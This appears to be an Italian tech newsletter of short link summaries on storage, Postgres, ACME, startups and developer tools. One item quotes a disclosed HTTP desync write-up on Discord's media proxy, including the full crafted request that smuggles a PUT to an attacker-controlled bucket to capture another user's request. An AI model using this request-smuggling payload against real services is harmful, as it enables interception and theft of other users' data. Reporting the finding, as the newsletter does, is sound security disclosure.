USB Cheat Sheet. Visto che gli standard USB sono confusionari e le cose cambiano nome ogni tanto.
USB Cheat Sheet. Visto che gli standard USB sono confusionari e le cose cambiano nome ogni tanto.
HTTP desync in Discord's media proxy. Vulnerabilità interessante nel proxy di Discord verso il bucket Google Cloud Storage:
I sent the following request to the media proxy:
GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1 Host: media.discordapp.netWhich caused the backend to send out these two requests to GCP:
GET /attachments/ HTTP/1.1 Host:xPUT /request.txt HTTP/1.1 Host:myevilbucket.storage.googleapis.com Content-Length:250 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0 Host: discord.storage.googleapis.comThe PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.
And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]
Healthchecks.io Now Uses Self-hosted Object Storage. Il maestro del self-hosting ora self-hosta anche uno storage S3-compatible, basato sul file system:
Versity S3 Gateway turns your local filesystem into an S3 server. An S3 PutObject operation creates a regular file on the filesystem, an S3 GetObject operation reads a regular file from the filesystem, and an S3 DeleteObject operation deletes a file from the filesystem. It does not need a separate database for metadata storage. You can use any backup tool to take backups. The upgrade procedure is: replace a single binary and restart a systemd service. It is written in Go, and is being actively developed. The one bug I found and reported was fixed in just a few days.
Il tradeoff è l'assenza di HA e replicazione:
With this setup, if both drives on the object storage server fail at the same time, the system could lose up to 2 hours of not yet backed-up ping request bodies. This can be improved, as usual, with the cost of extra complexity.
E costa di più:
The costs have increased: renting an additional dedicated server costs more than storing ~100GB at a managed object storage service. But the improved performance and reliability are worth it.
Keeping a Postgres queue healthy. Il titolo nasconde un approfondimento sul funzionamento del vaccum in relazione alle tuple eliminate in PostgreSQL.
Firn is a high-performance, multi-tenant vector and full-text search engine backed by object storage (S3 / MinIO / R2 / GCS). It is designed as a credible open-source alternative to turbopuffer, proving that a professional-grade tiered storage architecture (RAM → NVMe → S3) is achievable entirely from open-source components. The cost efficiency of S3 with the speed of local RAM. A multi-tenant vector and full-text search engine backed by S3. Built with LanceDB and Foyer for microsecond-scale search latency on top of object storage.
Come sta Satispay dopo aver raccolto mezzo miliardo? Giulio Michelon riassume la storia di Satispay, che è on track per diventare profitable dopo un decennio e mezzo miliardo di investimenti, in grossa parte grazie alle nuove feature di welfare aziendale (buoni pasto e acquisto).
Cogito.md è un nuovo editor Markdown nativo per macOS, fatto da Fabrizio Rinaldi.
Interessante anche Tolaria.md (lancio a breve):
Sad Story Of My Google Workspace account suspension. Quando qualcosa va storto con Google, le storie sono tutte uguali e sembra di parlare con un muro. In questo caso dopo aver fatto delle modifiche alle impostazioni di sicurezza l'account è stato sospeso e i sistemi di recupero non funzionavano o richiedevano un'attesa di 30 giorni (per un'email di lavoro che nel frattempo non può ricevere email).
abtest.design raccoglie i risultati di A/B test reali di applicazioni reali.
Andamento ANNCSU è un progetto di monitoraggio e visualizzazione del database ANNCSU con la lista dei numeri civici di tutti i comuni italiani e relativa posizione geografica. Dato che la copertura è al momento molto incompleta e solo poco superiore al 50%, la pagina permette di confrontare i progressi mensili del dataset, che in realtà sono stati significativi ultimamente.
unMTA è un nuovo servizio di invio email (transazionali/massive) che usa un modello che si vede raramente nel settore, cioè infrastruttura dedicata con invii illimitati e senza pagamento a consumo per messaggio. Ha ovviamente senso solo per volumi elevati (>500k al mese) ma è altrimenti interessante. Startup USA. Più contesto qui.
Windows Native App Development Is a Mess. Riassuntone dello stato attuale dello sviluppo nativo su Windows, ora culminato nell'SDK Windows App che permette di usare le API moderne anche con applicazioni tradizionali Windows Forms/WPF, oppure in WinUI 3, il successore di WinRT/UWP. L'SDK e WinUI 3 non sembrano però in ottimo stato e per molte cose bisogna ricorrere alle system call Win32.
Notably, l'autore dell'articolo è Domenic Denicola, che è stato ingegnere del team Google Chrome per 11 anni ma che ora si già ritirato dal lavoro (retribuito), a circa 40 anni da quel che si intuisce.
Delve - Fake Compliance as a Service - Part I. Lungo articolo (anonimo) su come una delle più note startup per semplificare la compliance produca certificati senza effettive verifiche di conformità e usando template generici. Parliamo ad esempio di SOC 2 (standard americano) e ISO 27001 (più diffuso in Europa). Ci sono cascate anche aziende come Lovable. Per non farsi mancare nulla hanno lasciato un bucket di storage aperto leakando ulteriori dati. Forse anche a conferma della molto relativa utilità dello standard SOC 2, ormai usato più come bollino per permettere ai clienti enterprise di spuntare una checkbox, che come effettiva garanzia di misure di sicurezza adeguate.
DNS-PERSIST-01: A New Model for DNS-based Challenge Validation. C'è un nuovo tipo di challenge di autorizzazione nel protocollo ACME per l'emissione e rinnovo dei certificati TLS. Permette di verificare la proprietà di un dominio con un record DNS persistente, da impostare una volta con validità infinita. Normalmente si usa un record TXT _acme-challenge con un token con validità associata all'ordine del certificato. Il nuovo metodo dns-persist-01 permette invece di autorizzare uno specifico account ACME, opzionalmente con una data di scadenza:
_validation-persist.example.com. IN TXT (
"letsencrypt.org;"
" accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1234567890"
)
Scaling Postgres connections with PgBouncer. Mega-tutorial di PlanetScale su come usare PgBouncer, il connection pooler per PostgreSQL.
Ente Paste è un servizio di condivisione di testo end-to-end encrypted. Il destinatario può vedere il testo decriptato solo una volta ed entro 24 ore. Utile per condividere chiavi segrete, ecc.
L'URL condivisibile (es. https://paste.ente.io/QTPD2AV2QE#3xLlEBKwnlCZ) contiene l'ID del paste (QTPD2AV2QE) e la chiave (3xLlEBKwnlCZ) per decifrare il testo. Il server non vede la chiave perché è un hash fragment/anchor: tutto quello che viene dopo il cancelletto non viene mai inviato al server dai browser.
Una volta aperta la pagina il testo cifrato viene eliminato dal server:
MapFight è uno strumento per confrontare la dimensione reale dei paesi del mondo senza le distorsioni della proiezione di Mercatore.
How to build a distributed queue in a single JSON file on object storage. Usare l'object storage come un database è sempre affascinante e Turbopuffer ci ha costruito sopra un vector db. Ora hanno implementato anche la coda di indicizzazione dei dati in un singolo file queue.json in un bucket S3/GCS, sfruttando le primitive dell'object storage (come compare-and-set, o CAS) per gestire conflitti (è in realtà un po' più complicato di così e l'articolo è scritto molto bene).
The Many Flavors of Ignore Files. Andrew Nesbitt illustra la sintassi dei file .gitignore, che è sempre una buona idea ripassare, e le differenze principali con altri formati come .dockerignore.
Introduction to PostgreSQL Indexes è una buona introduzione ai concetti attorno agli indici di PostgreSQL, partendo da come i dati sono serializzati su disco, come gli indici agevolano la ricerca e come funzionano B-tree, Hash, BRIN, ecc. anche con nuove funzioni come "skip scan" di PostgreSQL 18.